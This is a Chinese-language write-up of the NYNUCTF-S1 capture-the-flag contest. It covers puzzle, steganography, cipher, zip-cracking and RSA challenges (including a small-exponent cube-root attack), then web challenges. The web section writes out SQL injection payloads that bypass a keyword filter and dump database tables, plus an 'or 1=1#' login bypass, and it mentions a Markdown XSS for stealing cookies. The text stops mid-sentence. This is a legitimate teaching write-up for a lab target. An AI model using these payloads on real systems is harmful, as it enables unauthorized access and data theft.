NYNUCTF-S1 WriteUp

注:以下所有内容为比赛题目答案及解析,不涉及其他方面,仅做解题方法分享

Misc

SignIN

拿到题目打开是一个被分割的二维码,用画图或ps工具,还原即可

得到flag: nyctf{W3lC0me_tO_nyctf2020}

送分题

题目下载下来打开是一个文本,和一个加密压缩包,文本里面是一串base64,这个应该都知道,可能会卡在第二步base64解出来是一串酷似16进制的字符,但是它是MD5:https://www.somd5.com

解出来是interesting,是压缩包的密码打开压缩包是一段佛门语言,看不懂,但是有专门的解密网站:与佛论禅(http://www.keyfc.net/bbs/tools/tudoucode.aspx

解密的时候要在你想解密的东西上加上 佛曰:***这种格式

解出flag:nyctf{ctf_zhen_bu_chuo}

Baby_misc

把题目下载下来打开压缩包,发现有一张图片和一个加密的压缩包,打开图片查看

根据图片名字提示pig(猪),可以猜测跟猪有关,那可能是猪圈密码,去网上搜索猪圈密码对照表,解出图片信息:doyouknowiloveyou 这是加密压缩包的密码,然后打开压缩包发现是一张图片,看图片名字 害(high),又是 png 后缀的图片,可以猜测是高度问题,放入010或者winhex,修改高度(插播一个小知识点,下面标记的两个框框,左边为图片的宽,右边为图片的高,而且一般修改的话,修改代表宽高的后面两个就可以了)这边已经修改了,因为不需要准确的高所以就随便改的高了一点

修改高度之后的图片:

3.png

因为提交格式是nyctf{****},显然这不符合,所以可能会猜测是栅栏或者凯撒密码,都不对,这里应该是这一题的难点, 维吉尼亚密码,凯撒密码的加强版,但是解维吉尼亚密码需要密钥,题目描述上有提示学校的简称 nynu,所以解出flag:nyctf{n1_shi_2hen_Deg0u}

维吉尼亚密码(https://www.qqxiuzi.cn/bianma/weijiniyamima.php

dogeKing:rua!

首先,下载题目附件,得到多吉国王美照一张:

如果有安装Bandizip的话,右键这个文件可以发现文件尾部还藏了一个压缩包。

如果没安装的话,那就拖入010editor看看呗,010也给出了文件尾存在未知数据的提示,这数据以PK开头,那基本上就可以判断是zip文件了。

把后面的数据另外提到一个文件,就可以用压缩软件打开了。
然后无论通过哪种方式打开了压缩文件,都会发现压缩包是加密的。

若尝试了伪加密、爆破,会发现一无所获。
这时候就需要观察特征了,压缩包里的文件都极小,仅3字节,那这不就是经典的crc32碰撞吗?
于是拿出碰撞脚本或者工具,即可跑出文件内容。

import time
import zlib

def fuc1(str, times, len, pswdall, crcall): # 所有位置的可能字符一样
    times += 1
    for i in pswdall:
        if times == len:
            #print(str + i)
            crc = zlib.crc32((str + i).encode())
            if crc in crcall:
                print(hex(crc)[2:], str + i)
                #print(time.asctime())
        else:
            fuc1(str+i, times, len, pswdall, crcall)

def fuc2(str, times, len, pswdall, crcall): # 不同位置的可能字符不一样
    times += 1
    for i in pswdall[times-1]:
        if times == len:
            #print(str + i)
            crc = zlib.crc32((str + i).encode())
            if crc in crcall:
                print(hex(crc)[2:], str + i)
                #print(time.asctime())
        else:
            fuc2(str+i, times, len, pswdall, crcall)

print(time.asctime())
fuc1("",0,3,r" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~",{0x974ecd65,0x58c97d0b,0x7c6287fd,0xf370f851,0x147f6067})
print(time.asctime())

脚本结果如下:

工具命令为:hashcat -m 11500 -a 3 hash.txt ?a?a?a?a?a -i --increment-min 3 --increment-max 3 --outfile-autohex-disable --keep-guessing,其中hash.txt为存储需要碰撞的crc32的文本文件。
工具(hashcat)结果如下:

最终都能得到如下文本:

f370f851 ,ru
147f6067 a!}
7c6287fd crc
974ecd65 nyc
58c97d0b tf{

根据压缩包中文件名的可读性顺序(nyctf),重新排列其对于的crc32和明文,即可得到如下文本:

974ecd65 nyc
58c97d0b tf{
7c6287fd crc
f370f851 ,ru
147f6067 a!}

所以flag为nyctf{crc,rua!}

欢迎进入misc大门

打开压缩包看见一个不知道是什么的文件,拖入winhex看一下

看文件头看不出来什么东西,翻到最后看文件尾部E4 50 98 这样很像是png格式的图片的文件头,这时候就想到把字符串倒置一下,看一下

这边用的是CTFTools的字符反转功能

将字符串倒置的字符串放到winhex里可以看出已经有PNG的雏形了。

但是png文件头是89504E 这边给他改一下。得到一张PNG图片。

将这个图片分离一下得到一个压缩包,压缩包有密码,尝试一下图片中的ILIKENYNU,成功进入,压缩包里有个压缩包和一个图片。将图片拖入winhex里看到,文件尾部有一串莫斯密码

揭秘一下得到一串英文。打开压缩包看到注释上写着密码共13位,后6位为数字。我们已经得到了一串英文,这样想到了掩码攻击

得到了密码。LOVEBOY521521

进入下一层打开文本看出来一串字符,一看就是OOK编码,去相应的网站进行解密https://www.splitbrain.org/services/ook
得到一半。

另一个图片右击图片属性打开看到另一半

得到密码SunZHipenGZuiShuaI

进入最后的文档后看到几段话

一看就是两个密码合到一起的。一个是Brainfuck编码 一个是核心注意价值观编码,两个编码的解密网站分别是
https://www.splitbrain.org/services/ook
http://ctf.ssleye.com/cvencode.html

解密以后得到flag:nyctf{w1c0mE_NYNU}

套娃之家

1>首先分析密文,3uLVoIeIT+NC4OPjQQFm1jIkivbvfhX7ELBddQ3wDEZWxmApgvoYf3qLKjzc5DMB

根据编码特征和做题经验,可以猜测出是AES或者DES加密,出题时采用了DES加密,而这种加解密需要一个密钥

密钥就在图上,细心的同学应该可以看到,隐藏于文字间

DES解密网站:http://tool.chacuo.net/cryptdes

解密出来得到一个网盘链接

访问无果,需要提取码

2>题目附件给了个音频,该音频改编于SCTF2020 Misc系列-Can you hear(攻防世界有今年的赛题)

使用手机软件Robot36 app即可进行识别出 提取码(需要安静环境,播放音频)

或者使用电脑版MMSSTV识别(手机软件识别更好一点)

该小关也给了提示 音频是来自空间站传来的信息,百度可以查到下面这篇文章学习

手机软件识别结果如下:

3>结合网盘链接和提取码(2jrl) 提取文件 bp.zip

根据提示bp是爆破的缩写

使用zip爆破工具ARCHPR 爆破出压缩包密码:98934

4>打开后,又是一个网盘

下载后,仿佛离答案更近了一步,未知类型 fl@g.crypto

这里用到了一款文件加解密的软件,以 .crypto文件为结尾的软件 —— Encrypto

软件介绍:Encrypto 使用了大名鼎鼎的高强度 AES-256 加密算法,这是目前密码学上最流行的算法之一,广泛应用在军事领域,文件被破解的可能性几乎为零,安全性极高。像 1Password、KeePass、LastPass 之类的密码应用以及开源的加密软件 VeraCrypt 也同样是采用 AES256 算法的。
  跨平台支持 Windows 与 Mac
  通过 Encrypto 加密后的文件或者文件夹会变成一个以 .crypto 为后缀的单文件。当然,解密也相当的简单,无论是 Win 或 Mac 版的 Encrypto 都能轻松加密任何 .crypto 文件,只要输入正确密码后,你的文件就会被立即还原。

软件下载链接 https://encrypto.en.softonic.com/

https://macpaw.com/encrypto

http://www.greenxiazai.com/soft/136689.html

5>下载安装后,需要文件解密的密钥,它在哪里呢?

根据提示,回头看

注释里含有 Tab隐秘术和空白格隐写

将文本复制到.txt文本中,将一个空格全部替换成0,将一个tab键全部替换成1,二进制转ascii码

https://www.binaryhexconverter.com/binary-to-ascii-text-converter

即可得到文件加密时的密钥:SeCret

需要手输入进去

得到flag: nyctf{Congratulations!!!~you^got~it}

Crypto

easyRSA

打开题目附件,得到如下两个文本文件:

import gmpy2
from Crypto.Util.number import *

flag = 'nyctf{****************************}'

m = int(flag.encode('hex'), 16)
p = getPrime(414)
q = getPrime(414)
e = 3
n = p * q
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
c = pow(m, e, n)
msg = "n = " + str(n) +"\nc = " + str(hex(c)[2:])

m = int(msg.encode('hex'), 16)
p = getPrime(2048)
q = getPrime(2048)
e = 32767
n = p * q
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
c = pow(m, e, n)
msg = "p = " + str(p) + "\nq = " + str(q) + "\nn = " + str(n) + "\nc = " + str(hex(c)[2:])
print msg
p = 18981629137627874553898043045447661550553390111951006953273965593361950811850356555764853397986125684740113638988087731994954737741224678895892738504198394591238110492582096657049466879517026028223012498737184571052883068961521204678757595500898962351742135914186864152900868912703777161760415473776127582862675351707436584249476729420145654992993442816305743535465027468677554291992235294533706384895370482689978644936319824239196465475750633752457064318316963460796565172513172491759226087923820116742280019516875295039279271595564283178324119862989455888551529672334385577051886021344994798593180718188947292769371
q = 31705855941685530544434560879189522374145994554069582851256756041735976657536726666172277172721295992540295282051821662121270129786826335963127809120628481672473001186997512557614789845818240955432395272599340599808153470312204604015399239849673208013648589785890629204874508093437086622327469644234344419889974892458396851504038780008617932645582097194866167688529593984144800824631717575051824478174171643590920321521822343553715476304124810883003176460729218778886703050224196252473703045812274513691553497708730354710433393216239621439399105148377978307026312521523655733794016083213314575062525619871622382430947
n = 601828798976129939628883953959774980307017316322671940799072841567740145265680595265356927618412823380103067254924651854151101058224045180329151964824617088602642408524960240231652307177841204509234781857002644275204027712855415100976922093377043497875179898504741093474111343290361145774011679373860362495259746135944024061789815433472403108952057820507065202176579089691929297306350069440457190935571735100975623027508167368318049785656905876831319046310826950870990776214137292075925465031370660814069565087970803994763362560112241794106456017431300177538699088926483520840901944779388658159554702512457444200247359612359620688154146199232300467555327448853075420025901275628365742785116132978093638737383467961178587972354574379890624623215520117599063239638785962915417866421909503253362243014306988655742291035322446932511350853741087792697938214013453625598381071880483467364505830475926709360785946682395554244039935926206904387685681229710361782560727869655729210411233564047132829130267246410915563006044057327085426632132735530040519455630874157092161868713209294967745836335044902317977446420440001020373321743339649990157798734680760887961470296802011851391697691376370202175628534199880336334760562373111796638804124337
c = 277b30e4c9752642240aad209c94cd08d4a2c3112e4acf1a3880c824ed6aec39bc8868d1ab6cc138e3a26724733100e2460583b97930d02207c55c9d1f704ff7ad5f37f571c23cd5a914ff08ef451cc18732cfd4a425317e266a69ebb25a0bcfd68440562f549b111b5a87d561070bd3367daf2fdf4cd36bcb39602dd0a14d4d345040c7c6fe284af94122dff1f93076d89e1313e67b258211533a7884054d04bae750bb120f5e4d0755d9af229098baaf192df86aaaa4ca74a00d773a3744edbd36cc4eaf2eaff3ecdbac3956731465de01dbac0d4b2deb5474aa395c1776dc52eef570ac3a5828f04ff1fecdf6fb2009f5232ba00c866a5a371c0c562381956f0c242661aacac7d946ef205bbaedd849e8783dd679e773088eaae7874a5656dbe1d2c2e207a1801f41f32c0c1440e4f875a0b2b6133a8173b6017d4b1726f8cea7876c514a399a36968dac2ab9753ea356b2a6054786910f99f3fd30b6122c1bf4bac3266e3ad87c1fdc4c4bd9a0fc774a8ca8088ffc6a713ce7232b8019c8393e9df61a95d1b317ec9710280074202b072665e6b64364aa21300296837437047a09effe15c009e2f155b2e0023c55a6e91f3f8d819607bca51095d54531e36cea270897b9309ce9b9d44c5012a645a08fa77a237e8809486d817b06fce9656277beb66403d184b04e6fcfd824fb3cadc2e12c6b6db29d9513ec4c3d1c4a54L

分析给出的python脚本,由其中的关键性语句c = pow(m, e, n)可知这是RSA加密脚本,那么我们自然需要写出对应的解密脚本。
那么咱就需要把步骤倒过来,脚本中最后是一个e=32767的一次RSA 2048加密,并且p,q,c已知,出题人很好心的把n也给出来了,那么直接按标准RSA解密脚本写之:

import gmpy2
from Crypto.Util.number import *

c = 0x277b30e4c9752642240aad209c94cd08d4a2c3112e4acf1a3880c824ed6aec39bc8868d1ab6cc138e3a26724733100e2460583b97930d02207c55c9d1f704ff7ad5f37f571c23cd5a914ff08ef451cc18732cfd4a425317e266a69ebb25a0bcfd68440562f549b111b5a87d561070bd3367daf2fdf4cd36bcb39602dd0a14d4d345040c7c6fe284af94122dff1f93076d89e1313e67b258211533a7884054d04bae750bb120f5e4d0755d9af229098baaf192df86aaaa4ca74a00d773a3744edbd36cc4eaf2eaff3ecdbac3956731465de01dbac0d4b2deb5474aa395c1776dc52eef570ac3a5828f04ff1fecdf6fb2009f5232ba00c866a5a371c0c562381956f0c242661aacac7d946ef205bbaedd849e8783dd679e773088eaae7874a5656dbe1d2c2e207a1801f41f32c0c1440e4f875a0b2b6133a8173b6017d4b1726f8cea7876c514a399a36968dac2ab9753ea356b2a6054786910f99f3fd30b6122c1bf4bac3266e3ad87c1fdc4c4bd9a0fc774a8ca8088ffc6a713ce7232b8019c8393e9df61a95d1b317ec9710280074202b072665e6b64364aa21300296837437047a09effe15c009e2f155b2e0023c55a6e91f3f8d819607bca51095d54531e36cea270897b9309ce9b9d44c5012a645a08fa77a237e8809486d817b06fce9656277beb66403d184b04e6fcfd824fb3cadc2e12c6b6db29d9513ec4c3d1c4a54L
n = 601828798976129939628883953959774980307017316322671940799072841567740145265680595265356927618412823380103067254924651854151101058224045180329151964824617088602642408524960240231652307177841204509234781857002644275204027712855415100976922093377043497875179898504741093474111343290361145774011679373860362495259746135944024061789815433472403108952057820507065202176579089691929297306350069440457190935571735100975623027508167368318049785656905876831319046310826950870990776214137292075925465031370660814069565087970803994763362560112241794106456017431300177538699088926483520840901944779388658159554702512457444200247359612359620688154146199232300467555327448853075420025901275628365742785116132978093638737383467961178587972354574379890624623215520117599063239638785962915417866421909503253362243014306988655742291035322446932511350853741087792697938214013453625598381071880483467364505830475926709360785946682395554244039935926206904387685681229710361782560727869655729210411233564047132829130267246410915563006044057327085426632132735530040519455630874157092161868713209294967745836335044902317977446420440001020373321743339649990157798734680760887961470296802011851391697691376370202175628534199880336334760562373111796638804124337
e = 32767
q = 31705855941685530544434560879189522374145994554069582851256756041735976657536726666172277172721295992540295282051821662121270129786826335963127809120628481672473001186997512557614789845818240955432395272599340599808153470312204604015399239849673208013648589785890629204874508093437086622327469644234344419889974892458396851504038780008617932645582097194866167688529593984144800824631717575051824478174171643590920321521822343553715476304124810883003176460729218778886703050224196252473703045812274513691553497708730354710433393216239621439399105148377978307026312521523655733794016083213314575062525619871622382430947
p = 18981629137627874553898043045447661550553390111951006953273965593361950811850356555764853397986125684740113638988087731994954737741224678895892738504198394591238110492582096657049466879517026028223012498737184571052883068961521204678757595500898962351742135914186864152900868912703777161760415473776127582862675351707436584249476729420145654992993442816305743535465027468677554291992235294533706384895370482689978644936319824239196465475750633752457064318316963460796565172513172491759226087923820116742280019516875295039279271595564283178324119862989455888551529672334385577051886021344994798593180718188947292769371

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print long_to_bytes(m)

输出如下:

n = 688195263328618104471298179256468302796230553029714339661155078250969255791783493032484059522158335626967202968516322360829573222989575263843106708166014165985267991895634283673982111149111744348255242103994505756291384012261616187676097593951773377
c = e38f34118ec1252213e96bc1bfa80d88091b0f0be080a0b6e8f084d6200cf894698b435e5724111d6a26ab615ec8a1143d6be7f9e7047b6aa7b2a668f2c6b79af4a04ef80cd5cf88388c2dfefa08a4b038a874eeb97e88aad5ae6fcb7d1fdec2d799ca3796130dL

这也就是加密脚本中第二段加密是用的明文msg。
然后接着准备写第一段加密的解密脚本,观察发现,只给出了n和c,无法通过标准RSA解密方法进行解密,那么就需要寻找合适的攻击方法,这里发现加密脚本中e=3,那么可以采用小明文攻击的方式尝试攻击。脚本如下:

import gmpy2
import time
from Crypto.Util.number import long_to_bytes

n=688195263328618104471298179256468302796230553029714339661155078250969255791783493032484059522158335626967202968516322360829573222989575263843106708166014165985267991895634283673982111149111744348255242103994505756291384012261616187676097593951773377
e=3
res=0
c=0xe38f34118ec1252213e96bc1bfa80d88091b0f0be080a0b6e8f084d6200cf894698b435e5724111d6a26ab615ec8a1143d6be7f9e7047b6aa7b2a668f2c6b79af4a04ef80cd5cf88388c2dfefa08a4b038a874eeb97e88aad5ae6fcb7d1fdec2d799ca3796130dL
print time.asctime()
for k in xrange(200000000):
    if gmpy2.iroot(c+n*k,3)[1]==1:
        res=gmpy2.iroot(c+n*k,3)[0]
        # print k,res
        print long_to_bytes(res)
        print time.asctime()
        break

运行后结果如下:

Sun Nov  8 18:06:26 2020
nyctf{w31c0me_2_NYCTF_Crypto, bro!}
Sun Nov  8 18:06:26 2020

可以发现攻击方法有效,成功拿去第一段加密的明文,也就是flagnyctf{w31c0me_2_NYCTF_Crypto, bro!}

Web

真·签到

这 真·签到 是真的签到看着页面花里胡哨的但是是最简单的,比拼图还简单,直接f12

catchCat

打开题目给的链接,可以打开如下网页:

解法1

查看网页html源码如下:

<html>
 <head>
  <title>喵喵喵?</title>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 </head>
 <body>
  <div align="center">
   <script src="phaser.min.js"></script>
   <script src="catchCat.js"></script>
   <div id="catchCat"></div>
   <script>
    window.game = new CatchTheCatGame({
        w: 11,
        h: 11,
        r: 20,
        backgroundColor: "#fff",
        parent: "catchCat",
        statusBarAlign: "center",
        credit: "NYNUCTF"
    })
   </script>
  </div>
 </body>
</html>

发现引用了两个js脚本,直接取两个js脚本中寻找flag关键字nyctf,在catchCat.js中找到了flag。

解法2

Google一下这个游戏的一些关键词,运气好可以找到一个分析这游戏的帖子:教你巧妙过关吾爱沙雕游戏《圈小猫》 - 『编程语言区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn,根据帖子给出的脚本:

window.game.solver = function (blocksIsWall, i, j) {
    return -1;
};

在浏览器控制台中执行后,尝试开始游戏,即可得到flag。

解法3

老老实实玩游戏,也能看运气通关。


解法1才是正确解法,所以解法2和解法3都需要一定的运气。
flag为nyctf{itIsSoEasyToCatchTheCat}

baby_sql

首先在源码注释地方知道要传递参数id

如果耍过sqllib的同学应该很熟悉 那个sql注入靶场就是传递id参数

常规的sql注入

发现传入 union和select后会出现 get out,hack

被过滤了,使用双写绕过 uniounionn selecselectt

这里为什么可以双写饶过呢?

这里放出题目源码,过滤是把union和select给替换成空了

如果我们输入 uniounionn 这个有unio+union+n组成 替换只进行了一次,将中间的union替换成空的时候 它前边和后边就组合成了新的union。Select也是同理。

所以就正常的sql注入流程就可以

这里还有一点 就是hint1提示的 #传不进去 可以用%23或者--+替代

查字段

?id=1’ order by 3--+

查看回显位置

?id=1' uniounionn seleselectct 1,2,3--+

回显位置是2,3

查询数据库

?id=1' uniounionn seleselectct 1,2,database()--+

得到数据库名ctf

爆ctf库中得到数据表

?id=1%27%20uniounionn%20seleselectct%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctf%27%20--+

得到flag,users

爆字段

?id=1%27%20uniounionn%20seleselectct%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%20--+

得到id flag value

查询vlaue字段

?id=1%27%20and%201=1%20ununionion%20selselectect%201,2,value%20from%20flag--+

请登录

题目提示让登陆

不知道密码的情况下

  1. 弱密码
  2. 万能密码

尝试若账号密码爆破不出来

然后万能密码

账号:123’ or 1=1#

密码:随意

万能密码原理:

看一下题目源码中sql语句的拼接

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

直接讲username和password拼接到sql语句中

如果输入的账号密码查询到有结果 那么就返回为真 如果查询不到这个账号密码就返回为假就登录失败

将我们的payload带进去sql语句看一下

`$sql="SELECT*FROM users WHERE username='123’ or 1=1#' and password='$password'";`

密码随意

可以看到 123后边的单引号讲sql中的username的单引号闭合了。然后 or 1=1 #

1=1肯定为真 or 或 只要有一个为真整个语句就为真,#号是注释 #号后边的东西都被注释掉了

那么username=‘123’ or 1=1 # 不管数据库中是否有这个123用户 因为1=1的原因这条语句都为真 所以就查询成功 也就登录了

Xss2FindCookie

本题来自SUSCTF2018 基本未作修改

用到的是Markdown的一个XSS漏洞,读出cookie就能得到flag

过滤了